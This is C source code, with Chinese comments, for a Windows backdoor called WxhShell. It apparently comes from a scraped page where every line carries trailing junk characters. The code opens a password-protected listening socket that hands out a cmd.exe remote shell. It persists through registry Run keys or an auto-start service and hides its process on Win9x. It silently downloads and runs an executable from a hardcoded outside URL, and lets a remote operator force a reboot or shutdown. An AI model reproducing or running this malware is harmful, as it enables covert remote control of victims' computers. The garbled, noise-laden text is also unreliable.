    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =ZIFS  
    if(Boot(SHUTDOWN)) *>*/|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?,e:c XhE2  
    else { Bv]wHPun  
    closesocket(wsh); Y},GZ^zqy  
    ExitThread(0); G`lhvpifG  
    } Z q>.;>  
    break; QM=436fq  
    } )w?$~q  
  // 获取shell R.'Gg  
  case 's': { MC)W?  
    CmdShell(wsh); @O0 vh$3t0  
    closesocket(wsh); Nv]/L +i  
    ExitThread(0); Hwc8i"{9y\  
    break; /2V',0  
  } Wv/5#_  
  // 退出 ea}KxLC`,  
  case 'x': { ;|1P1H-W~M  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (gC^5&11  
    CloseIt(wsh); V+ ~2q=  
    break; MCpK^7]k  
    } @gGuV$Mw  
  // 离开 {QkH%jj  
  case 'q': { +~.Jw#HqS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Tka="eyIj3  
    closesocket(wsh); mBkQ 8e  
    WSACleanup(); $ rnr;V  
    exit(1); q8v!{Os+#  
    break; Guc^gq}  
        } cDyC&}:f  
  } J|8YB3K,  
  } y'wW2U/ 1-  
KCT"a :\  
  // 提示信息 +Z(VWu6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  #X_M  
} {v/6|  
  } <rmV$_  
@<JQn^M  
  return; <Py/uF|  
} D5vtZu!"  
RtQfE+  
// shell模块句柄 .u3W]5M|  
int CmdShell(SOCKET sock)  o*1`,n  
{ I _G;;GF  
STARTUPINFO si; HD|)D5wH|  
ZeroMemory(&si,sizeof(si)); 4c@F.I  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'E8Qi'g  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; w.- i !Ls  
PROCESS_INFORMATION ProcessInfo; /UyE- "S  
char cmdline[]="cmd"; SP1oBR"3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N |L5Ru  
  return 0; ,IATJs$E  
} hd%F7D5  
T5+b{qA  
// 自身启动模式 Ap9w H[H  
int StartFromService(void) hrt-<7U  
{ u#|Jl|aT  
typedef struct l(4./M  
{ ,Gx=e!-N5  
  DWORD ExitStatus; [6N39G$  
  DWORD PebBaseAddress; HjR<4;2  
  DWORD AffinityMask; M_I\:Q  
  DWORD BasePriority; ;KN@v5`p  
  ULONG UniqueProcessId; +c_CYkHJ/  
  ULONG InheritedFromUniqueProcessId; $>m<+nai'  
}   PROCESS_BASIC_INFORMATION; K6hN N$F!  
Nuq/_x  
PROCNTQSIP NtQueryInformationProcess; t4uxon  
&>t1A5  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1_]l|`Po  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;r}<o?'RM  
~;Kl/Z  
  HANDLE             hProcess; <Ux;dekz}  
  PROCESS_BASIC_INFORMATION pbi; bc-}Qn  
\ziF(xTvqG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]h@:Y]  
  if(NULL == hInst ) return 0; ~=*_I4,+r  
iOxygs#p  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); FFGTIT# {"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]uf_"D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j]^]p; An  
;_*F [ }w  
  if (!NtQueryInformationProcess) return 0; S0yT%V  
1XRVbQt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); en)DN3  
  if(!hProcess) return 0; 1cega1s3xR  
=QRZ(2Wq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MvFXVCT#  
v>R.ou(  
  CloseHandle(hProcess); ]B||S7idq  
5Tq 3L[T5;  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2$=HDwv  
if(hProcess==NULL) return 0; [U0c   
XMdYted  
HMODULE hMod; 2BY:qz%:  
char procName[255]; lhU#/}Z  
unsigned long cbNeeded; &D#v0!e~x  
`x{gF8GV  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); :1Cc~+]w(u  
DGnswN%n1  
  CloseHandle(hProcess); lLv0lf  
{[+gM?  
if(strstr(procName,"services")) return 1; // 以服务启动 LtBH4 A  
Ql 1# l:Q  
  return 0; // 注册表启动 Mv3Ch'X[  
} @@QU"8q  
<[bDNe["?  
// 主模块 I\_R& v  
int StartWxhshell(LPSTR lpCmdLine) >xN^#$ng}  
{ gUcE,L  
  SOCKET wsl;  CgWj9 [  
BOOL val=TRUE; Pcc%VQN  
  int port=0; &~8}y+z  
  struct sockaddr_in door; qsp,Usu/  
g@L4G?hLn  
  if(wscfg.ws_autoins) Install(); (Lp-3Xx  
t/CNxfY  
port=atoi(lpCmdLine); 2_Qzc&"[ 4  
%oo&M;  
if(port<=0) port=wscfg.ws_port; =zKp(_[D  
x$E l7=.  
  WSADATA data; pFuQ!7Uk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; $O#h4L_  
Y~6pJNR  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gE&f}M-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E:ytdaiT  
  door.sin_family = AF_INET; 7blZAA?-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ='FEC-f95  
  door.sin_port = htons(port); x?kZD~|{)  
uH#NJoR O  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ZI1RB fR  
closesocket(wsl); h;6@-\6  
return 1; ntT| G0E  
} Q.Acmht#  
 T-\,r  
  if(listen(wsl,2) == INVALID_SOCKET) { gM8eO-d  
closesocket(wsl); -:QyWw/d  
return 1; `#V"@Go  
} *VU Xw@  
  Wxhshell(wsl);  <KpQu%2(  
  WSACleanup(); y.Py>GJJ1S  
C{D2mSS  
return 0; ?/\;K1c p  
C"}x=cK  
} xl3U  
!l~hO  
// 以NT服务方式启动 1\2 m'o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) BC+HP9<]  
{ wcOAyo5(n  
DWORD   status = 0; $2.DZ  
  DWORD   specificError = 0xfffffff; 3 R m$  
AYi$LsLhO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hug12Cu  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; _C4^J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IO+z:D{  
  serviceStatus.dwWin32ExitCode     = 0; s-*XAn ot  
  serviceStatus.dwServiceSpecificExitCode = 0; >dM'UpN@  
  serviceStatus.dwCheckPoint       = 0; Wwz>tE  
  serviceStatus.dwWaitHint       = 0; PIA&s6U  
N  P"z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gR+Z"]  
  if (hServiceStatusHandle==0) return; ;?rW`e2  
+0OQ"2^&  
status = GetLastError(); %bsdC0xM  
  if (status!=NO_ERROR) sk5\"jna  
{ rk~/^(!  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 5*CwQJC<  
    serviceStatus.dwCheckPoint       = 0; 0\m zGfd  
    serviceStatus.dwWaitHint       = 0; Q -+jG7vT  
    serviceStatus.dwWin32ExitCode     = status; ,iyIF~1~#>  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]:njP3r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [H& m@*UO  
    return; ; ^$RG  
  } B}Qo8i7 z  
Ub"\LUu  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8c~H![2u  
  serviceStatus.dwCheckPoint       = 0; @EQ{lGpU3  
  serviceStatus.dwWaitHint       = 0; 23>?3-q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); B[$e;h*Aw[  
} MLDuo|?  
ldxUq,p  
// 处理NT服务事件,比如:启动、停止 yF:fxdpw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) aZ'p:9e  
{ xnLfR6B  
switch(fdwControl) OJ 2M_q)e  
{ e D}Ga4  
case SERVICE_CONTROL_STOP: 4ldN0 _T5  
  serviceStatus.dwWin32ExitCode = 0; R[Rs2eS_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {hl_/ aG  
  serviceStatus.dwCheckPoint   = 0; qGw6Wp~  
  serviceStatus.dwWaitHint     = 0; suVS!} C  
  { ~UnfS};U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6B 8!2  
  } 8_uDxd  
  return; 2|cIu 'U  
case SERVICE_CONTROL_PAUSE: >[p+L='  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *-n$n  
  break; <Z5prunov  
case SERVICE_CONTROL_CONTINUE: acH.L _B:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ua{eri[  
  break; Ze~\=X" "  
case SERVICE_CONTROL_INTERROGATE: E )PEKWK\  
  break; ^O ?$} sr  
}; V6!oe^a7'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~5|a9HV:  
} ^mGTZxO  
_V;J7Vz  
// 标准应用程序主函数 wjl? @K  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Kb}N!<Z*  
{ 4b#YpK$7U  
}A#FGH +  
// 获取操作系统版本 >?kt3.IQ!X  
OsIsNt=GetOsVer(); qjWgyhL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^8 z*f&g  
*)w 8fq  
  // 从命令行安装 T7,tJk,(  
  if(strpbrk(lpCmdLine,"iI")) Install(); j_{gk"2:d`  
5pDxFs=v  
  // 下载执行文件 4uv }6&R  
if(wscfg.ws_downexe) { &O'yhAP] j  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) iCH Z{<k  
  WinExec(wscfg.ws_filenam,SW_HIDE); #*~ (  
} .1}u0IbJ  
sC#Ixq'ls7  
if(!OsIsNt) { (d (whlF  
// 如果时win9x,隐藏进程并且设置为注册表启动 M,9WF)p)V  
HideProc(); zJ\I%7h*  
StartWxhshell(lpCmdLine); {S}/LSNB  
} F[+sc Mx!G  
else )TWf/L cp  
  if(StartFromService()) c>^_4QQ  
  // 以服务方式启动 c{E-4PYbah  
  StartServiceCtrlDispatcher(DispatchTable); t512]eqhb(  
else T^79p$  
  // 普通方式启动 )&w\9}B:  
  StartWxhshell(lpCmdLine); ^!}lA9\gY  
{C3bCVQ]o  
return 0; Ah"Rx A  
} !ine|NM  
)S`A+M K]  
M_PL{  
u_uC78`p  
=========================================== TEYbB=.  
gC'GZi^  
2n@"|\uHD  
!is8`8F8  
WgY3g1C  
n"Ev25%  
" ?6[>HX;  
s2tEyR+gW  
#include <stdio.h> ]\GGC]:\@  
#include <string.h> ]s u\[?l  
#include <windows.h> ^awl-CG  
#include <winsock2.h> f5O*Njl  
#include <winsvc.h> 0!^{V:DtQ  
#include <urlmon.h> `=.{i}V  
`aC#s3[  
#pragma comment (lib, "Ws2_32.lib") 4iKT  
#pragma comment (lib, "urlmon.lib") co;2s-X  
kt@+UK."  
#define MAX_USER   100 // 最大客户端连接数 h rZ\ O?j  
#define BUF_SOCK   200 // sock buffer Qdtfi1_Y1  
#define KEY_BUFF   255 // 输入 buffer ";GLX%C!{@  
9eV@v  
#define REBOOT     0   // 重启 ld3,)ZY  
#define SHUTDOWN   1   // 关机 oc15!M3$  
D3jP hPy.  
#define DEF_PORT   5000 // 监听端口 UH)A n:9  
Z(V 4"x7F  
#define REG_LEN     16   // 注册表键长度 pIh@!C  
#define SVC_LEN     80   // NT服务名长度 }wiq?dr  
>si<VCO  
// 从dll定义API 2Aff3]-:Gd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); <|.M]]}j  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); kQj8;LU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); H6~QSe0l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); alq>|,\x  
I5-/K VWb  
// wxhshell配置信息 C[[z3tn  
struct WSCFG { ;z&p(e  
  int ws_port;         // 监听端口 6#.R'O  
  char ws_passstr[REG_LEN]; // 口令 l lQ<x  
  int ws_autoins;       // 安装标记, 1=yes 0=no Hiq9Jn uv(  
  char ws_regname[REG_LEN]; // 注册表键名 mxXQBmW  
  char ws_svcname[REG_LEN]; // 服务名 pa.W-qyu  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r^]0LJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h5Z%|J>;0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (g   
int ws_downexe;       // 下载执行标记, 1=yes 0=no YAO.Ccz  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 44n^21k  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 uD+;5S]us  
V57^0^Zp`  
}; MRiETd"  
lfCoL@$6D  
// default Wxhshell configuration ;KnnAZJ  
struct WSCFG wscfg={DEF_PORT, <8H`y(S  
    "xuhuanlingzhe", [jafPi(#g  
    1, c|I{U[(U  
    "Wxhshell", :FK(*BUh  
    "Wxhshell", QjRVdb>  
            "WxhShell Service", a1s=t_wT  
    "Wrsky Windows CmdShell Service", ne;,TJ\  
    "Please Input Your Password: ", &oAuh?kTq  
  1, jtd{=[STU  
  "http://www.wrsky.com/wxhshell.exe", \n/_ Px  
  "Wxhshell.exe" 8 2_3|T  
    }; PI }A')Nq.  
$o-s?";  
// 消息定义模块 73P(oVj<  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6W~F nJI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FzW(An&x2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aLP 2p]  
char *msg_ws_ext="\n\rExit."; Ii;~ xc  
char *msg_ws_end="\n\rQuit."; m!v`nw]  
char *msg_ws_boot="\n\rReboot..."; Mj[ v _&N  
char *msg_ws_poff="\n\rShutdown..."; tdEu4)6  
char *msg_ws_down="\n\rSave to "; '?q|7[SU  
Yj;$hV8j(  
char *msg_ws_err="\n\rErr!"; cz.-cuD[iD  
char *msg_ws_ok="\n\rOK!"; @1rF9< 4g  
R_(A&,  
char ExeFile[MAX_PATH]; 4F/Q0"  
int nUser = 0; ;@Ls "+g  
HANDLE handles[MAX_USER]; +8v!vuO'  
int OsIsNt; [ UQzCqV  
*-g S u  
SERVICE_STATUS       serviceStatus; +   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tV%M2 DxS  
}`>u+iH#a  
// 函数声明 <Y9ps`{}:  
int Install(void); '%)7%O,2  
int Uninstall(void); cl^tX%  
int DownloadFile(char *sURL, SOCKET wsh); c6Wy1d^  
int Boot(int flag); N=-hXgX^  
void HideProc(void); UiW( /L  
int GetOsVer(void); Kh3*\xT  
int Wxhshell(SOCKET wsl); bp;)*  
void TalkWithClient(void *cs); N!$y`nwiw'  
int CmdShell(SOCKET sock); IaN|S|n~  
int StartFromService(void); ,p0R 4gi  
int StartWxhshell(LPSTR lpCmdLine); 0;o`7f  
H<"{wUPT0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :Iw)xd1d}\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); O /aC%%  
spgY &OI;  
// 数据结构和表定义 :MpIx&  
SERVICE_TABLE_ENTRY DispatchTable[] = !*N#}6Jd  
{ q1Ah!9B  
{wscfg.ws_svcname, NTServiceMain}, N#Y4nllJ  
{NULL, NULL} ~M+|g4W%  
}; _ 4pBJOJQ6  
CShVJ:u+K\  
// 自我安装 R )ejIKtY  
int Install(void) par $0z/  
{ %I[(`nb  
  char svExeFile[MAX_PATH]; .-fJ\`^mi  
  HKEY key; k$# @_  
  strcpy(svExeFile,ExeFile); TRG"fVR  
GIt; Y  
// 如果是win9x系统,修改注册表设为自启动 m?bb/o'B  
if(!OsIsNt) { Q:lSKf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hz!+g'R!Gs  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8qo{%  
  RegCloseKey(key); OP%h`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;OE{&  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NC|&7qQ  
  RegCloseKey(key); 5fM/y3QPsZ  
  return 0; X 1^f0\k  
    } l 8n#sGA%  
  } ]g!k'@  
} $]!uX&  
else { }[$C=|>  
5c`DkWne%  
// 如果是NT以上系统,安装为系统服务 v~uQ_ae$>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8kX3.X`  
if (schSCManager!=0) %TvunV7NQS  
{ @D Qg1|m  
  SC_HANDLE schService = CreateService hekAics6S  
  ( H>a3\M  
  schSCManager, C KBLM2 D  
  wscfg.ws_svcname, pu,/GBG_  
  wscfg.ws_svcdisp, uXyNj2(d.  
  SERVICE_ALL_ACCESS, G{$9e}#  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t&eY+3y,T  
  SERVICE_AUTO_START, zH}u9IR3`  
  SERVICE_ERROR_NORMAL, +7^{T:^ht  
  svExeFile, }|&M@Up  
  NULL, Y?R;Y:u3Z  
  NULL, p;U[cGHC  
  NULL, CSR 6  
  NULL, /%=p-By<V  
  NULL Y)?4OB=n  
  ); 0q>f x  
  if (schService!=0) 0 A/GWSmF  
  {  >pT92VN  
  CloseServiceHandle(schService); ` L6H2:pf  
  CloseServiceHandle(schSCManager); ^7vh ize  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rmk'{"  
  strcat(svExeFile,wscfg.ws_svcname); R1\cAP^ 0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r"zW=9 O=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); l3)(aay!  
  RegCloseKey(key); z@{|Y;s  
  return 0; ko>SnE|w#  
    } 2p8JqZMQb  
  } L5]*ZCDv  
  CloseServiceHandle(schSCManager); 6P3ezl@#;  
} rKP"|+^  
} 9v_gR52vh  
&B/cy<;y,  
return 1; #sq-V,8  
} #<MLW4P  
Bm;{dO  
// 自我卸载 XGk8Ki3w  
int Uninstall(void) ^4`q%_vm  
{ EAqTXB@XU  
  HKEY key; vFV->/u  
4ehajK  
if(!OsIsNt) { &:nWZ!D  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mAX]m1s  
  RegDeleteValue(key,wscfg.ws_regname); )U`H7\*)  
  RegCloseKey(key); fI t:eKHr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { s"=e (ob  
  RegDeleteValue(key,wscfg.ws_regname); \b1I<4(  
  RegCloseKey(key); ;yx+BaG~?  
  return 0; cJGA5m/{I  
  } \"<&8  
} tQF7{F-}  
} k$7-F3  
else { P>0j]?RB  
-!I.:97 N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); GKZn|<Y|{c  
if (schSCManager!=0) hUxpz:U*  
{ cSnm\f  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); k9w<0h3  
  if (schService!=0) =uYSZR  
  { 6jO*rseC  
  if(DeleteService(schService)!=0) { d&n0:xOc  
  CloseServiceHandle(schService); +[zrU`!@  
  CloseServiceHandle(schSCManager);  #Z"N\49  
  return 0; @R9  
  } 9 %,_G.  
  CloseServiceHandle(schService); `Z{; c  
  } EN+WEMro  
  CloseServiceHandle(schSCManager); ;#G>qo  
} rM2?"  
} Go^W\y   
vpMNulXb,  
return 1; H2zd@l:R  
} Km 'd=B>Jy  
VjMd&>G  
// 从指定url下载文件 qWy{{ A+  
int DownloadFile(char *sURL, SOCKET wsh) CDO _A\  
{ MV e5j+8  
  HRESULT hr; IhJ _Yed  
char seps[]= "/"; v7\~OOoH]  
char *token; *J 7>6N:-  
char *file; s^AQJ{X  
char myURL[MAX_PATH]; %$:js4  
char myFILE[MAX_PATH]; st:[|`  
XaR(q2s  
strcpy(myURL,sURL); S2*-UluG  
  token=strtok(myURL,seps); H*A)U'`  
  while(token!=NULL) ) Z0  
  { /?9e{,\s  
    file=token; A&Ut:OiA  
  token=strtok(NULL,seps); '4L i  
  } WvAl!^{`  
23U9+  
GetCurrentDirectory(MAX_PATH,myFILE); BYhPOg[  
strcat(myFILE, "\\"); $ *MjNj2  
strcat(myFILE, file); Y=vA ;BE]R  
  send(wsh,myFILE,strlen(myFILE),0); jSaEwN  
send(wsh,"...",3,0); /:z}WAW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7 G~MqnO|  
  if(hr==S_OK) !:c7I@  
return 0; "sUe:F;  
else VS%8f.7ep  
return 1; h7~&rWb  
l9qq;hhGP,  
} dG Qy=T:  
VrQw;-rQ  
// 系统电源模块 W a2V Z  
int Boot(int flag) $kZ,uvKN  
{ :c!7rh7O  
  HANDLE hToken; kD >|e<}\  
  TOKEN_PRIVILEGES tkp; S;Lqx5Cd  
fdck/|`t  
  if(OsIsNt) { xPq3Sfg`A  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ''?.6r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ~N>[7I"*  
    tkp.PrivilegeCount = 1; 3-h u'xSU  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; G"O %u|7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $qP9EZ]JC  
if(flag==REBOOT) { s,]6Lri`\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nC_<pq^tr  
  return 0;  vF]?i  
} ,HUs MCXQ  
else { b3#c0GL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :>F:G%(DK  
  return 0; 1[} =,uaM  
} P2 !~}{-  
  } 7EI(7:gOn  
  else { @wl80v  
if(flag==REBOOT) { +M-' K19  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +ulX(u(,  
  return 0; pZlBpGQf  
} %vxd($Ti"  
else { 1Q#hanh_`  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?9Fv0-g&n  
  return 0; 9P{5bG0o8  
} K)_0ej~C  
} =y0!-y  
lBD{)Va  
return 1; yE{l Xp;  
} zp% MK+x  
t=xO12Z  
// win9x进程隐藏模块 !`=r('l  
void HideProc(void) G?<L{J2"Q  
{ 3|/ ;`KfQ  
jdXkU  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /n@_Ihx  
  if ( hKernel != NULL ) e}(. u1  
  { *q|.H9 K(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); tE(x8>5A:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E 7;KG^  
    FreeLibrary(hKernel); :}+U?8/"7  
  } IR5 S-vO  
$daI++v`  
return; KD-0NO=oL  
} AJC Wp4,  
X H{5E4P  
// 获取操作系统版本 ,y:q]PR  
int GetOsVer(void) }b)?o@9}:  
{ Pkc4=i,`A  
  OSVERSIONINFO winfo; rya4sxCh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); yw#P<8{/[  
  GetVersionEx(&winfo); "y_$!KY%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h*_r=' E  
  return 1; o'>jO.|  
  else <2}"Y(zwKl  
  return 0; )K8JDP  
} ir \d8.  
djZOx;/  
// 客户端句柄模块 I".d>]16|  
int Wxhshell(SOCKET wsl) 0t/S_Q  
{ 0:v7X)St  
  SOCKET wsh; P:ys--$"  
  struct sockaddr_in client; *v8Cj(69  
  DWORD myID; }9 qsPn  
XO"!)qF  
  while(nUser<MAX_USER) #uuwzE*M_  
{ }eEF/o  
  int nSize=sizeof(client); 6&.[ :IHw  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ndF Kw  
  if(wsh==INVALID_SOCKET) return 1; 0kmVP~K  
5C#&vYnq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]2h~Db=  
if(handles[nUser]==0) H# 2'\0u  
  closesocket(wsh); 6CY_8/:zL  
else J\m7U  
  nUser++; m[ifcDZ(e  
  } ;,Lq*x2s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s8 .oS);`  
YHvmo@  
  return 0; !6f#OAP\  
} sAnStS=>  
J[VQ6fD%  
// 关闭 socket |\~cjPX(  
void CloseIt(SOCKET wsh) P/M*XUG.  
{ Bi?.G7>  
closesocket(wsh); _4[kg)#+  
nUser--; bL swq  
ExitThread(0); 34s:|w6y  
} wz073-v>ZV  
/vsQ <t;~  
// 客户端请求句柄 J*a`qU   
void TalkWithClient(void *cs) `=q)-y_C  
{ +SUQRDF@i  
Yw?%>L  
  SOCKET wsh=(SOCKET)cs; JfKl=vg  
  char pwd[SVC_LEN]; 0sV;TQt+f  
  char cmd[KEY_BUFF]; s x`C<c~u  
char chr[1]; WXO@oZ!  
int i,j; zcIZJVYA  
r4!zA-{  
  while (nUser < MAX_USER) { ,h8)5Mj/J  
o#%2N+w  
if(wscfg.ws_passstr) { 2MtaOG2l&q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CIO&VK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r IS \#j  
  //ZeroMemory(pwd,KEY_BUFF); ~y B[}BPf  
      i=0; pZjyzH{~  
  while(i<SVC_LEN) { ,((5|MbM/  
}{j[  
  // 设置超时 47ir QK*  
  fd_set FdRead; eR8h4M~O  
  struct timeval TimeOut; )7c^@I;7  
  FD_ZERO(&FdRead); 6M612   
  FD_SET(wsh,&FdRead); N-_2d*l3  
  TimeOut.tv_sec=8; ymr-kB  
  TimeOut.tv_usec=0; G78rpp  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ew }C*4qH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); }1X,~y]  
A g/z\kX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9FJU'$FN  
  pwd=chr[0]; h +N75  
  if(chr[0]==0xd || chr[0]==0xa) { c @2s!bs  
  pwd=0; l$zo3[  
  break; Q\ro )r  
  } 33"{"2==`  
  i++; ;rd!kFd#bq  
    } x<9|t(  
)Cu"M #`  
  // 如果是非法用户,关闭 socket { #>@h7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lt}|Y9h  
} G ^r^" j  
LB2 2doW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4i/TEHQ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [S3X  
Fv#ToT:QXe  
while(1) { {%UY1n  
s&8QRI.  
  ZeroMemory(cmd,KEY_BUFF); ?z Ms;  
`9b D%M  
      // 自动支持客户端 telnet标准   <(s+  
  j=0; s{< rc>  
  while(j<KEY_BUFF) { MEq ()}7P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0D$+WX  
  cmd[j]=chr[0]; 6j_ A{*~Ng  
  if(chr[0]==0xa || chr[0]==0xd) { {PYN3\N,  
  cmd[j]=0; 64b9.5Bn  
  break; J^0co1Y0  
  } d-xKm2sH  
  j++; {9'"!fH  
    } r&Za*TD^  
}IEYH&4!  
  // 下载文件 SGjaH 8z  
  if(strstr(cmd,"http://")) { -pa.-@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =We}&80 x  
  if(DownloadFile(cmd,wsh)) n# Z6d`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U/|B IF  
  else  LDwu?"P!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); I?l*GO+pz  
  } :~U1JAs$  
